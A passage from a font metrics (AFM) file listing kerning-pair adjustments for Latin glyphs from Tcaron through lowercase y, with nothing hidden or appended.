KPX Tcaron rcommaaccent -80
KPX Tcaron semicolon -40
KPX Tcaron u -90
KPX Tcaron uacute -90
KPX Tcaron ucircumflex -90
KPX Tcaron udieresis -90
KPX Tcaron ugrave -90
KPX Tcaron uhungarumlaut -90
KPX Tcaron umacron -90
KPX Tcaron uogonek -90
KPX Tcaron uring -90
KPX Tcaron w -60
KPX Tcaron y -60
KPX Tcaron yacute -60
KPX Tcaron ydieresis -60
KPX Tcommaaccent A -90
KPX Tcommaaccent Aacute -90
KPX Tcommaaccent Abreve -90
KPX Tcommaaccent Acircumflex -90
KPX Tcommaaccent Adieresis -90
KPX Tcommaaccent Agrave -90
KPX Tcommaaccent Amacron -90
KPX Tcommaaccent Aogonek -90
KPX Tcommaaccent Aring -90
KPX Tcommaaccent Atilde -90
KPX Tcommaaccent O -40
KPX Tcommaaccent Oacute -40
KPX Tcommaaccent Ocircumflex -40
KPX Tcommaaccent Odieresis -40
KPX Tcommaaccent Ograve -40
KPX Tcommaaccent Ohungarumlaut -40
KPX Tcommaaccent Omacron -40
KPX Tcommaaccent Oslash -40
KPX Tcommaaccent Otilde -40
KPX Tcommaaccent a -80
KPX Tcommaaccent aacute -80
KPX Tcommaaccent abreve -80
KPX Tcommaaccent acircumflex -80
KPX Tcommaaccent adieresis -80
KPX Tcommaaccent agrave -80
KPX Tcommaaccent amacron -80
KPX Tcommaaccent aogonek -80
KPX Tcommaaccent aring -80
KPX Tcommaaccent atilde -80
KPX Tcommaaccent colon -40
KPX Tcommaaccent comma -80
KPX Tcommaaccent e -60
KPX Tcommaaccent eacute -60
KPX Tcommaaccent ecaron -60
KPX Tcommaaccent ecircumflex -60
KPX Tcommaaccent edieresis -60
KPX Tcommaaccent edotaccent -60
KPX Tcommaaccent egrave -60
KPX Tcommaaccent emacron -60
KPX Tcommaaccent eogonek -60
KPX Tcommaaccent hyphen -120
KPX Tcommaaccent o -80
KPX Tcommaaccent oacute -80
KPX Tcommaaccent ocircumflex -80
KPX Tcommaaccent odieresis -80
KPX Tcommaaccent ograve -80
KPX Tcommaaccent ohungarumlaut -80
KPX Tcommaaccent omacron -80
KPX Tcommaaccent oslash -80
KPX Tcommaaccent otilde -80
KPX Tcommaaccent period -80
KPX Tcommaaccent r -80
KPX Tcommaaccent racute -80
KPX Tcommaaccent rcommaaccent -80
KPX Tcommaaccent semicolon -40
KPX Tcommaaccent u -90
KPX Tcommaaccent uacute -90
KPX Tcommaaccent ucircumflex -90
KPX Tcommaaccent udieresis -90
KPX Tcommaaccent ugrave -90
KPX Tcommaaccent uhungarumlaut -90
KPX Tcommaaccent umacron -90
KPX Tcommaaccent uogonek -90
KPX Tcommaaccent uring -90
KPX Tcommaaccent w -60
KPX Tcommaaccent y -60
KPX Tcommaaccent yacute -60
KPX Tcommaaccent ydieresis -60
KPX U A -50
KPX U Aacute -50
KPX U Abreve -50
KPX U Acircumflex -50
KPX U Adieresis -50
KPX U Agrave -50
KPX U Amacron -50
KPX U Aogonek -50
KPX U Aring -50
KPX U Atilde -50
KPX U comma -30
KPX U period -30
KPX Uacute A -50
KPX Uacute Aacute -50
KPX Uacute Abreve -50
KPX Uacute Acircumflex -50
KPX Uacute Adieresis -50
KPX Uacute Agrave -50
KPX Uacute Amacron -50
KPX Uacute Aogonek -50
KPX Uacute Aring -50
KPX Uacute Atilde -50
KPX Uacute comma -30
KPX Uacute period -30
KPX Ucircumflex A -50
KPX Ucircumflex Aacute -50
KPX Ucircumflex Abreve -50
KPX Ucircumflex Acircumflex -50
KPX Ucircumflex Adieresis -50
KPX Ucircumflex Agrave -50
KPX Ucircumflex Amacron -50
KPX Ucircumflex Aogonek -50
KPX Ucircumflex Aring -50
KPX Ucircumflex Atilde -50
KPX Ucircumflex comma -30
KPX Ucircumflex period -30
KPX Udieresis A -50
KPX Udieresis Aacute -50
KPX Udieresis Abreve -50
KPX Udieresis Acircumflex -50
KPX Udieresis Adieresis -50
KPX Udieresis Agrave -50
KPX Udieresis Amacron -50
KPX Udieresis Aogonek -50
KPX Udieresis Aring -50
KPX Udieresis Atilde -50
KPX Udieresis comma -30
KPX Udieresis period -30
KPX Ugrave A -50
KPX Ugrave Aacute -50
KPX Ugrave Abreve -50
KPX Ugrave Acircumflex -50
KPX Ugrave Adieresis -50
KPX Ugrave Agrave -50
KPX Ugrave Amacron -50
KPX Ugrave Aogonek -50
KPX Ugrave Aring -50
KPX Ugrave Atilde -50
KPX Ugrave comma -30
KPX Ugrave period -30
KPX Uhungarumlaut A -50
KPX Uhungarumlaut Aacute -50
KPX Uhungarumlaut Abreve -50
KPX Uhungarumlaut Acircumflex -50
KPX Uhungarumlaut Adieresis -50
KPX Uhungarumlaut Agrave -50
KPX Uhungarumlaut Amacron -50
KPX Uhungarumlaut Aogonek -50
KPX Uhungarumlaut Aring -50
KPX Uhungarumlaut Atilde -50
KPX Uhungarumlaut comma -30
KPX Uhungarumlaut period -30
KPX Umacron A -50
KPX Umacron Aacute -50
KPX Umacron Abreve -50
KPX Umacron Acircumflex -50
KPX Umacron Adieresis -50
KPX Umacron Agrave -50
KPX Umacron Amacron -50
KPX Umacron Aogonek -50
KPX Umacron Aring -50
KPX Umacron Atilde -50
KPX Umacron comma -30
KPX Umacron period -30
KPX Uogonek A -50
KPX Uogonek Aacute -50
KPX Uogonek Abreve -50
KPX Uogonek Acircumflex -50
KPX Uogonek Adieresis -50
KPX Uogonek Agrave -50
KPX Uogonek Amacron -50
KPX Uogonek Aogonek -50
KPX Uogonek Aring -50
KPX Uogonek Atilde -50
KPX Uogonek comma -30
KPX Uogonek period -30
KPX Uring A -50
KPX Uring Aacute -50
KPX Uring Abreve -50
KPX Uring Acircumflex -50
KPX Uring Adieresis -50
KPX Uring Agrave -50
KPX Uring Amacron -50
KPX Uring Aogonek -50
KPX Uring Aring -50
KPX Uring Atilde -50
KPX Uring comma -30
KPX Uring period -30
KPX V A -80
KPX V Aacute -80
KPX V Abreve -80
KPX V Acircumflex -80
KPX V Adieresis -80
KPX V Agrave -80
KPX V Amacron -80
KPX V Aogonek -80
KPX V Aring -80
KPX V Atilde -80
KPX V G -50
KPX V Gbreve -50
KPX V Gcommaaccent -50
KPX V O -50
KPX V Oacute -50
KPX V Ocircumflex -50
KPX V Odieresis -50
KPX V Ograve -50
KPX V Ohungarumlaut -50
KPX V Omacron -50
KPX V Oslash -50
KPX V Otilde -50
KPX V a -60
KPX V aacute -60
KPX V abreve -60
KPX V acircumflex -60
KPX V adieresis -60
KPX V agrave -60
KPX V amacron -60
KPX V aogonek -60
KPX V aring -60
KPX V atilde -60
KPX V colon -40
KPX V comma -120
KPX V e -50
KPX V eacute -50
KPX V ecaron -50
KPX V ecircumflex -50
KPX V edieresis -50
KPX V edotaccent -50
KPX V egrave -50
KPX V emacron -50
KPX V eogonek -50
KPX V hyphen -80
KPX V o -90
KPX V oacute -90
KPX V ocircumflex -90
KPX V odieresis -90
KPX V ograve -90
KPX V ohungarumlaut -90
KPX V omacron -90
KPX V oslash -90
KPX V otilde -90
KPX V period -120
KPX V semicolon -40
KPX V u -60
KPX V uacute -60
KPX V ucircumflex -60
KPX V udieresis -60
KPX V ugrave -60
KPX V uhungarumlaut -60
KPX V umacron -60
KPX V uogonek -60
KPX V uring -60
KPX W A -60
KPX W Aacute -60
KPX W Abreve -60
KPX W Acircumflex -60
KPX W Adieresis -60
KPX W Agrave -60
KPX W Amacron -60
KPX W Aogonek -60
KPX W Aring -60
KPX W Atilde -60
KPX W O -20
KPX W Oacute -20
KPX W Ocircumflex -20
KPX W Odieresis -20
KPX W Ograve -20
KPX W Ohungarumlaut -20
KPX W Omacron -20
KPX W Oslash -20
KPX W Otilde -20
KPX W a -40
KPX W aacute -40
KPX W abreve -40
KPX W acircumflex -40
KPX W adieresis -40
KPX W agrave -40
KPX W amacron -40
KPX W aogonek -40
KPX W aring -40
KPX W atilde -40
KPX W colon -10
KPX W comma -80
KPX W e -35
KPX W eacute -35
KPX W ecaron -35
KPX W ecircumflex -35
KPX W edieresis -35
KPX W edotaccent -35
KPX W egrave -35
KPX W emacron -35
KPX W eogonek -35
KPX W hyphen -40
KPX W o -60
KPX W oacute -60
KPX W ocircumflex -60
KPX W odieresis -60
KPX W ograve -60
KPX W ohungarumlaut -60
KPX W omacron -60
KPX W oslash -60
KPX W otilde -60
KPX W period -80
KPX W semicolon -10
KPX W u -45
KPX W uacute -45
KPX W ucircumflex -45
KPX W udieresis -45
KPX W ugrave -45
KPX W uhungarumlaut -45
KPX W umacron -45
KPX W uogonek -45
KPX W uring -45
KPX W y -20
KPX W yacute -20
KPX W ydieresis -20
KPX Y A -110
KPX Y Aacute -110
KPX Y Abreve -110
KPX Y Acircumflex -110
KPX Y Adieresis -110
KPX Y Agrave -110
KPX Y Amacron -110
KPX Y Aogonek -110
KPX Y Aring -110
KPX Y Atilde -110
KPX Y O -70
KPX Y Oacute -70
KPX Y Ocircumflex -70
KPX Y Odieresis -70
KPX Y Ograve -70
KPX Y Ohungarumlaut -70
KPX Y Omacron -70
KPX Y Oslash -70
KPX Y Otilde -70
KPX Y a -90
KPX Y aacute -90
KPX Y abreve -90
KPX Y acircumflex -90
KPX Y adieresis -90
KPX Y agrave -90
KPX Y amacron -90
KPX Y aogonek -90
KPX Y aring -90
KPX Y atilde -90
KPX Y colon -50
KPX Y comma -100
KPX Y e -80
KPX Y eacute -80
KPX Y ecaron -80
KPX Y ecircumflex -80
KPX Y edieresis -80
KPX Y edotaccent -80
KPX Y egrave -80
KPX Y emacron -80
KPX Y eogonek -80
KPX Y o -100
KPX Y oacute -100
KPX Y ocircumflex -100
KPX Y odieresis -100
KPX Y ograve -100
KPX Y ohungarumlaut -100
KPX Y omacron -100
KPX Y oslash -100
KPX Y otilde -100
KPX Y period -100
KPX Y semicolon -50
KPX Y u -100
KPX Y uacute -100
KPX Y ucircumflex -100
KPX Y udieresis -100
KPX Y ugrave -100
KPX Y uhungarumlaut -100
KPX Y umacron -100
KPX Y uogonek -100
KPX Y uring -100
KPX Yacute A -110
KPX Yacute Aacute -110
KPX Yacute Abreve -110
KPX Yacute Acircumflex -110
KPX Yacute Adieresis -110
KPX Yacute Agrave -110
KPX Yacute Amacron -110
KPX Yacute Aogonek -110
KPX Yacute Aring -110
KPX Yacute Atilde -110
KPX Yacute O -70
KPX Yacute Oacute -70
KPX Yacute Ocircumflex -70
KPX Yacute Odieresis -70
KPX Yacute Ograve -70
KPX Yacute Ohungarumlaut -70
KPX Yacute Omacron -70
KPX Yacute Oslash -70
KPX Yacute Otilde -70
KPX Yacute a -90
KPX Yacute aacute -90
KPX Yacute abreve -90
KPX Yacute acircumflex -90
KPX Yacute adieresis -90
KPX Yacute agrave -90
KPX Yacute amacron -90
KPX Yacute aogonek -90
KPX Yacute aring -90
KPX Yacute atilde -90
KPX Yacute colon -50
KPX Yacute comma -100
KPX Yacute e -80
KPX Yacute eacute -80
KPX Yacute ecaron -80
KPX Yacute ecircumflex -80
KPX Yacute edieresis -80
KPX Yacute edotaccent -80
KPX Yacute egrave -80
KPX Yacute emacron -80
KPX Yacute eogonek -80
KPX Yacute o -100
KPX Yacute oacute -100
KPX Yacute ocircumflex -100
KPX Yacute odieresis -100
KPX Yacute ograve -100
KPX Yacute ohungarumlaut -100
KPX Yacute omacron -100
KPX Yacute oslash -100
KPX Yacute otilde -100
KPX Yacute period -100
KPX Yacute semicolon -50
KPX Yacute u -100
KPX Yacute uacute -100
KPX Yacute ucircumflex -100
KPX Yacute udieresis -100
KPX Yacute ugrave -100
KPX Yacute uhungarumlaut -100
KPX Yacute umacron -100
KPX Yacute uogonek -100
KPX Yacute uring -100
KPX Ydieresis A -110
KPX Ydieresis Aacute -110
KPX Ydieresis Abreve -110
KPX Ydieresis Acircumflex -110
KPX Ydieresis Adieresis -110
KPX Ydieresis Agrave -110
KPX Ydieresis Amacron -110
KPX Ydieresis Aogonek -110
KPX Ydieresis Aring -110
KPX Ydieresis Atilde -110
KPX Ydieresis O -70
KPX Ydieresis Oacute -70
KPX Ydieresis Ocircumflex -70
KPX Ydieresis Odieresis -70
KPX Ydieresis Ograve -70
KPX Ydieresis Ohungarumlaut -70
KPX Ydieresis Omacron -70
KPX Ydieresis Oslash -70
KPX Ydieresis Otilde -70
KPX Ydieresis a -90
KPX Ydieresis aacute -90
KPX Ydieresis abreve -90
KPX Ydieresis acircumflex -90
KPX Ydieresis adieresis -90
KPX Ydieresis agrave -90
KPX Ydieresis amacron -90
KPX Ydieresis aogonek -90
KPX Ydieresis aring -90
KPX Ydieresis atilde -90
KPX Ydieresis colon -50
KPX Ydieresis comma -100
KPX Ydieresis e -80
KPX Ydieresis eacute -80
KPX Ydieresis ecaron -80
KPX Ydieresis ecircumflex -80
KPX Ydieresis edieresis -80
KPX Ydieresis edotaccent -80
KPX Ydieresis egrave -80
KPX Ydieresis emacron -80
KPX Ydieresis eogonek -80
KPX Ydieresis o -100
KPX Ydieresis oacute -100
KPX Ydieresis ocircumflex -100
KPX Ydieresis odieresis -100
KPX Ydieresis ograve -100
KPX Ydieresis ohungarumlaut -100
KPX Ydieresis omacron -100
KPX Ydieresis oslash -100
KPX Ydieresis otilde -100
KPX Ydieresis period -100
KPX Ydieresis semicolon -50
KPX Ydieresis u -100
KPX Ydieresis uacute -100
KPX Ydieresis ucircumflex -100
KPX Ydieresis udieresis -100
KPX Ydieresis ugrave -100
KPX Ydieresis uhungarumlaut -100
KPX Ydieresis umacron -100
KPX Ydieresis uogonek -100
KPX Ydieresis uring -100
KPX a g -10
KPX a gbreve -10
KPX a gcommaaccent -10
KPX a v -15
KPX a w -15
KPX a y -20
KPX a yacute -20
KPX a ydieresis -20
KPX aacute g -10
KPX aacute gbreve -10
KPX aacute gcommaaccent -10
KPX aacute v -15
KPX aacute w -15
KPX aacute y -20
KPX aacute yacute -20
KPX aacute ydieresis -20
KPX abreve g -10
KPX abreve gbreve -10
KPX abreve gcommaaccent -10
KPX abreve v -15
KPX abreve w -15
KPX abreve y -20
KPX abreve yacute -20
KPX abreve ydieresis -20
KPX acircumflex g -10
KPX acircumflex gbreve -10
KPX acircumflex gcommaaccent -10
KPX acircumflex v -15
KPX acircumflex w -15
KPX acircumflex y -20
KPX acircumflex yacute -20
KPX acircumflex ydieresis -20
KPX adieresis g -10
KPX adieresis gbreve -10
KPX adieresis gcommaaccent -10
KPX adieresis v -15
KPX adieresis w -15
KPX adieresis y -20
KPX adieresis yacute -20
KPX adieresis ydieresis -20
KPX agrave g -10
KPX agrave gbreve -10
KPX agrave gcommaaccent -10
KPX agrave v -15
KPX agrave w -15
KPX agrave y -20
KPX agrave yacute -20
KPX agrave ydieresis -20
KPX amacron g -10
KPX amacron gbreve -10
KPX amacron gcommaaccent -10
KPX amacron v -15
KPX amacron w -15
KPX amacron y -20
KPX amacron yacute -20
KPX amacron ydieresis -20
KPX aogonek g -10
KPX aogonek gbreve -10
KPX aogonek gcommaaccent -10
KPX aogonek v -15
KPX aogonek w -15
KPX aogonek y -20
KPX aogonek yacute -20
KPX aogonek ydieresis -20
KPX aring g -10
KPX aring gbreve -10
KPX aring gcommaaccent -10
KPX aring v -15
KPX aring w -15
KPX aring y -20
KPX aring yacute -20
KPX aring ydieresis -20
KPX atilde g -10
KPX atilde gbreve -10
KPX atilde gcommaaccent -10
KPX atilde v -15
KPX atilde w -15
KPX atilde y -20
KPX atilde yacute -20
KPX atilde ydieresis -20
KPX b l -10
KPX b lacute -10
KPX b lcommaaccent -10
KPX b lslash -10
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX b v -20
KPX b y -20
KPX b yacute -20
KPX b ydieresis -20
KPX c h -10
KPX c k -20
KPX c kcommaaccent -20
KPX c l -20
KPX c lacute -20
KPX c lcommaaccent -20
KPX c lslash -20
KPX c y -10
KPX c yacute -10
KPX c ydieresis -10
KPX cacute h -10
KPX cacute k -20
KPX cacute kcommaaccent -20
KPX cacute l -20
KPX cacute lacute -20
KPX cacute lcommaaccent -20
KPX cacute lslash -20
KPX cacute y -10
KPX cacute yacute -10
KPX cacute ydieresis -10
KPX ccaron h -10
KPX ccaron k -20
KPX ccaron kcommaaccent -20
KPX ccaron l -20
KPX ccaron lacute -20
KPX ccaron lcommaaccent -20
KPX ccaron lslash -20
KPX ccaron y -10
KPX ccaron yacute -10
KPX ccaron ydieresis -10
KPX ccedilla h -10
KPX ccedilla k -20
KPX ccedilla kcommaaccent -20
KPX ccedilla l -20
KPX ccedilla lacute -20
KPX ccedilla lcommaaccent -20
KPX ccedilla lslash -20
KPX ccedilla y -10
KPX ccedilla yacute -10
KPX ccedilla ydieresis -10
KPX colon space -40
KPX comma quotedblright -120
KPX comma quoteright -120
KPX comma space -40
KPX d d -10
KPX d dcroat -10
KPX d v -15
KPX d w -15
KPX d y -15
KPX d yacute -15
KPX d ydieresis -15
KPX dcroat d -10
KPX dcroat dcroat -10
KPX dcroat v -15
KPX dcroat w -15
KPX dcroat y -15
KPX dcroat yacute -15
KPX dcroat ydieresis -15
KPX e comma 10
KPX e period 20
KPX e v -15
KPX e w -15
KPX e x -15
KPX e y -15
KPX e yacute -15
KPX e ydieresis -15
KPX eacute comma 10
KPX eacute period 20
KPX eacute v -15
KPX eacute w -15
KPX eacute x -15
KPX eacute y -15
KPX eacute yacute -15
KPX eacute ydieresis -15
KPX ecaron comma 10
KPX ecaron period 20
KPX ecaron v -15
KPX ecaron w -15
KPX ecaron x -15
KPX ecaron y -15
KPX ecaron yacute -15
KPX ecaron ydieresis -15
KPX ecircumflex comma 10
KPX ecircumflex period 20
KPX ecircumflex v -15
KPX ecircumflex w -15
KPX ecircumflex x -15
KPX ecircumflex y -15
KPX ecircumflex yacute -15
KPX ecircumflex ydieresis -15
KPX edieresis comma 10
KPX edieresis period 20
KPX edieresis v -15
KPX edieresis w -15
KPX edieresis x -15
KPX edieresis y -15
KPX edieresis yacute -15
KPX edieresis ydieresis -15
KPX edotaccent comma 10
KPX edotaccent period 20
KPX edotaccent v -15
KPX edotaccent w -15
KPX edotaccent x -15
KPX edotaccent y -15
KPX edotaccent yacute -15
KPX edotaccent ydieresis -15
KPX egrave comma 10
KPX egrave period 20
KPX egrave v -15
KPX egrave w -15
KPX egrave x -15
KPX egrave y -15
KPX egrave yacute -15
KPX egrave ydieresis -15
KPX emacron comma 10
KPX emacron period 20
KPX emacron v -15
KPX emacron w -15
KPX emacron x -15
KPX emacron y -15
KPX emacron yacute -15
KPX emacron ydieresis -15
KPX eogonek comma 10
KPX eogonek period 20
KPX eogonek v -15
KPX eogonek w -15
KPX eogonek x -15
KPX eogonek y -15
KPX eogonek yacute -15
KPX eogonek ydieresis -15
KPX f comma -10
KPX f e -10
KPX f eacute -10
KPX f ecaron -10
KPX f ecircumflex -10
KPX f edieresis -10
KPX f edotaccent -10
KPX f egrave -10
KPX f emacron -10
KPX f eogonek -10
KPX f o -20
KPX f oacute -20
KPX f ocircumflex -20
KPX f odieresis -20
KPX f ograve -20
KPX f ohungarumlaut -20
KPX f omacron -20
KPX f oslash -20
KPX f otilde -20
KPX f period -10
KPX f quotedblright 30
KPX f quoteright 30
KPX g e 10
KPX g eacute 10
KPX g ecaron 10
KPX g ecircumflex 10
KPX g edieresis 10
KPX g edotaccent 10
KPX g egrave 10
KPX g emacron 10
KPX g eogonek 10
KPX g g -10
KPX g gbreve -10
KPX g gcommaaccent -10
KPX gbreve e 10
KPX gbreve eacute 10
KPX gbreve ecaron 10
KPX gbreve ecircumflex 10
KPX gbreve edieresis 10
KPX gbreve edotaccent 10
KPX gbreve egrave 10
KPX gbreve emacron 10
KPX gbreve eogonek 10
KPX gbreve g -10
KPX gbreve gbreve -10
KPX gbreve gcommaaccent -10
KPX gcommaaccent e 10
KPX gcommaaccent eacute 10
KPX gcommaaccent ecaron 10
KPX gcommaaccent ecircumflex 10
KPX gcommaaccent edieresis 10
KPX gcommaaccent edotaccent 10
KPX gcommaaccent egrave 10
KPX gcommaaccent emacron 10
KPX gcommaaccent eogonek 10
KPX gcommaaccent g -10
KPX gcommaaccent gbreve -10
KPX gcommaaccent gcommaaccent -10
KPX h y -20
KPX h yacute -20
KPX h ydieresis -20
KPX k o -15
KPX k oacute -15
KPX k ocircumflex -15
KPX k odieresis -15
KPX k ograve -15
KPX k ohungarumlaut -15
KPX k omacron -15
KPX k oslash -15
KPX k otilde -15
KPX kcommaaccent o -15
KPX kcommaaccent oacute -15
KPX kcommaaccent ocircumflex -15
KPX kcommaaccent odieresis -15
KPX kcommaaccent ograve -15
KPX kcommaaccent ohungarumlaut -15
KPX kcommaaccent omacron -15
KPX kcommaaccent oslash -15
KPX kcommaaccent otilde -15
KPX l w -15
KPX l y -15
KPX l yacute -15
KPX l ydieresis -15
KPX lacute w -15
KPX lacute y -15
KPX lacute yacute -15
KPX lacute ydieresis -15
KPX lcommaaccent w -15
KPX lcommaaccent y -15
KPX lcommaaccent yacute -15
KPX lcommaaccent ydieresis -15
KPX lslash w -15
KPX lslash y -15
KPX lslash yacute -15
KPX lslash ydieresis -15
KPX m u -20
KPX m uacute -20
KPX m ucircumflex -20
KPX m udieresis -20
KPX m ugrave -20
KPX m uhungarumlaut -20
KPX m umacron -20
KPX m uogonek -20
KPX m uring -20
KPX m y -30
KPX m yacute -30
KPX m ydieresis -30
KPX n u -10
KPX n uacute -10
KPX n ucircumflex -10
KPX n udieresis -10
KPX n ugrave -10
KPX n uhungarumlaut -10
KPX n umacron -10
KPX n uogonek -10
KPX n uring -10
KPX n v -40
KPX n y -20
KPX n yacute -20
KPX n ydieresis -20
KPX nacute u -10
KPX nacute uacute -10
KPX nacute ucircumflex -10
KPX nacute udieresis -10
KPX nacute ugrave -10
KPX nacute uhungarumlaut -10
KPX nacute umacron -10
KPX nacute uogonek -10
KPX nacute uring -10
KPX nacute v -40
KPX nacute y -20
KPX nacute yacute -20
KPX nacute ydieresis -20
KPX ncaron u -10
KPX ncaron uacute -10
KPX ncaron ucircumflex -10
KPX ncaron udieresis -10
KPX ncaron ugrave -10
KPX ncaron uhungarumlaut -10
KPX ncaron umacron -10
KPX ncaron uogonek -10
KPX ncaron uring -10
KPX ncaron v -40
KPX ncaron y -20
KPX ncaron yacute -20
KPX ncaron ydieresis -20
KPX ncommaaccent u -10
KPX ncommaaccent uacute -10
KPX ncommaaccent ucircumflex -10
KPX ncommaaccent udieresis -10
KPX ncommaaccent ugrave -10
KPX ncommaaccent uhungarumlaut -10
KPX ncommaaccent umacron -10
KPX ncommaaccent uogonek -10
KPX ncommaaccent uring -10
KPX ncommaaccent v -40
KPX ncommaaccent y -20
KPX ncommaaccent yacute -20
KPX ncommaaccent ydieresis -20
KPX ntilde u -10
KPX ntilde uacute -10
KPX ntilde ucircumflex -10
KPX ntilde udieresis -10
KPX ntilde ugrave -10
KPX ntilde uhungarumlaut -10
KPX ntilde umacron -10
KPX ntilde uogonek -10
KPX ntilde uring -10
KPX ntilde v -40
KPX ntilde y -20
KPX ntilde yacute -20
KPX ntilde ydieresis -20
KPX o v -20
KPX o w -15
KPX o x -30
KPX o y -20
KPX o yacute -20
KPX o ydieresis -20
KPX oacute v -20
KPX oacute w -15
KPX oacute x -30
KPX oacute y -20
KPX oacute yacute -20
KPX oacute ydieresis -20
KPX ocircumflex v -20
KPX ocircumflex w -15
KPX ocircumflex x -30
KPX ocircumflex y -20
KPX ocircumflex yacute -20
KPX ocircumflex ydieresis -20
KPX odieresis v -20
KPX odieresis w -15
KPX odieresis x -30
KPX odieresis y -20
KPX odieresis yacute -20
KPX odieresis ydieresis -20
KPX ograve v -20
KPX ograve w -15
KPX ograve x -30
KPX ograve y -20
KPX ograve yacute -20
KPX ograve ydieresis -20
KPX ohungarumlaut v -20
KPX ohungarumlaut w -15
KPX ohungarumlaut x -30
KPX ohungarumlaut y -20
KPX ohungarumlaut yacute -20
KPX ohungarumlaut ydieresis -20
KPX omacron v -20
KPX omacron w -15
KPX omacron x -30
KPX omacron y -20
KPX omacron yacute -20
KPX omacron ydieresis -20
KPX oslash v -20
KPX oslash w -15
KPX oslash x -30
KPX oslash y -20
KPX oslash yacute -20
KPX oslash ydieresis -20
KPX otilde v -20
KPX otilde w -15
KPX otilde x -30
KPX otilde y -20
KPX otilde yacute -20
KPX otilde ydieresis -20
KPX p y -15
KPX p yacute -15
KPX p ydieresis -15
KPX period quotedblright -120
KPX period quoteright -120
KPX period space -40
KPX quotedblright space -80
KPX quoteleft quoteleft -46
KPX quoteright d -80
KPX quoteright dcroat -80
KPX quoteright l -20
KPX quoteright lacute -20
KPX quoteright lcommaaccent -20
KPX quoteright lslash -20
KPX quoteright quoteright -46
KPX quoteright r -40
KPX quoteright racute -40
KPX quoteright rcaron -40
KPX quoteright rcommaaccent -40
KPX quoteright s -60
KPX quoteright sacute -60
KPX quoteright scaron -60
KPX quoteright scedilla -60
KPX quoteright scommaaccent -60
KPX quoteright space -80
KPX quoteright v -20
KPX r c -20
KPX r cacute -20
KPX r ccaron -20
KPX r ccedilla -20
KPX r comma -60
KPX r d -20
KPX r dcroat -20
KPX r g -15
KPX r gbreve -15
KPX r gcommaaccent -15
KPX r hyphen -20
KPX r o -20
KPX r oacute -20
KPX r ocircumflex -20
KPX r odieresis -20
KPX r ograve -20
KPX r ohungarumlaut -20
KPX r omacron -20
KPX r oslash -20
KPX r otilde -20
KPX r period -60
KPX r q -20
KPX r s -15
KPX r sacute -15
KPX r scaron -15
KPX r scedilla -15
KPX r scommaaccent -15
KPX r t 20
KPX r tcommaaccent 20
KPX r v 10
KPX r y 10
KPX r yacute 10
KPX r ydieresis 10
KPX racute c -20
KPX racute cacute -20
KPX racute ccaron -20
KPX racute ccedilla -20
KPX racute comma -60
KPX racute d -20
KPX racute dcroat -20
KPX racute g -15
KPX racute gbreve -15
KPX racute gcommaaccent -15
KPX racute hyphen -20
KPX racute o -20
KPX racute oacute -20
KPX racute ocircumflex -20
KPX racute odieresis -20
KPX racute ograve -20
KPX racute ohungarumlaut -20
KPX racute omacron -20
KPX racute oslash -20
KPX racute otilde -20
KPX racute period -60
KPX racute q -20
KPX racute s -15
KPX racute sacute -15
KPX racute scaron -15
KPX racute scedilla -15
KPX racute scommaaccent -15
KPX racute t 20
KPX racute tcommaaccent 20
KPX racute v 10
KPX racute y 10
KPX racute yacute 10
KPX racute ydieresis 10
KPX rcaron c -20
KPX rcaron cacute -20
KPX rcaron ccaron -20
KPX rcaron ccedilla -20
KPX rcaron comma -60
KPX rcaron d -20
KPX rcaron dcroat -20
KPX rcaron g -15
KPX rcaron gbreve -15
KPX rcaron gcommaaccent -15
KPX rcaron hyphen -20
KPX rcaron o -20
KPX rcaron oacute -20
KPX rcaron ocircumflex -20
KPX rcaron odieresis -20
KPX rcaron ograve -20
KPX rcaron ohungarumlaut -20
KPX rcaron omacron -20
KPX rcaron oslash -20
KPX rcaron otilde -20
KPX rcaron period -60
KPX rcaron q -20
KPX rcaron s -15
KPX rcaron sacute -15
KPX rcaron scaron -15
KPX rcaron scedilla -15
KPX rcaron scommaaccent -15
KPX rcaron t 20
KPX rcaron tcommaaccent 20
KPX rcaron v 10
KPX rcaron y 10
KPX rcaron yacute 10
KPX rcaron ydieresis 10
KPX rcommaaccent c -20
KPX rcommaaccent cacute -20
KPX rcommaaccent ccaron -20
KPX rcommaaccent ccedilla -20
KPX rcommaaccent comma -60
KPX rcommaaccent d -20
KPX rcommaaccent dcroat -20
KPX rcommaaccent g -15
KPX rcommaaccent gbreve -15
KPX rcommaaccent gcommaaccent -15
KPX rcommaaccent hyphen -20
KPX rcommaaccent o -20
KPX rcommaaccent oacute -20
KPX rcommaaccent ocircumflex -20
KPX rcommaaccent odieresis -20
KPX rcommaaccent ograve -20
KPX rcommaaccent ohungarumlaut -20
KPX rcommaaccent omacron -20
KPX rcommaaccent oslash -20
KPX rcommaaccent otilde -20
KPX rcommaaccent period -60
KPX rcommaaccent q -20
KPX rcommaaccent s -15
KPX rcommaaccent sacute -15
KPX rcommaaccent scaron -15
KPX rcommaaccent scedilla -15
KPX rcommaaccent scommaaccent -15
KPX rcommaaccent t 20
KPX rcommaaccent tcommaaccent 20
KPX rcommaaccent v 10
KPX rcommaaccent y 10
KPX rcommaaccent yacute 10
KPX rcommaaccent ydieresis 10
KPX s w -15
KPX sacute w -15
KPX scaron w -15
KPX scedilla w -15
KPX scommaaccent w -15
KPX semicolon space -40
KPX space T -100
KPX space Tcaron -100
KPX space Tcommaaccent -100
KPX space V -80
KPX space W -80
KPX space Y -120
KPX space Yacute -120
KPX space Ydieresis -120
KPX space quotedblleft -80
KPX space quoteleft -60
KPX v a -20
KPX v aacute -20
KPX v abreve -20
KPX v acircumflex -20
KPX v adieresis -20
KPX v agrave -20
KPX v amacron -20
KPX v aogonek -20
KPX v aring -20
KPX v atilde -20
KPX v comma -80
KPX v o -30
KPX v oacute -30
KPX v ocircumflex -30
KPX v odieresis -30
KPX v ograve -30
KPX v ohungarumlaut -30
KPX v omacron -30
KPX v oslash -30
KPX v otilde -30
KPX v period -80
KPX w comma -40
KPX w o -20
KPX w oacute -20
KPX w ocircumflex -20
KPX w odieresis -20
KPX w ograve -20
KPX w ohungarumlaut -20
KPX w omacron -20
KPX w oslash -20
KPX w otilde -20
KPX w period -40
KPX x e -10
KPX x eacute -10
KPX x ecaron -10
KPX x ecircumflex -10
KPX x edieresis -10
KPX x edotaccent -10
KPX x egrave -10
KPX x emacron -10
KPX x eogonek -10
KPX y a -30
KPX y aacute -30
KPX y abreve -30
KPX y acircumflex -30
KPX y adieresis -30
KPX y agrave -30
KPX y amacron -30
KPX y aogonek -30
KPX y aring -30
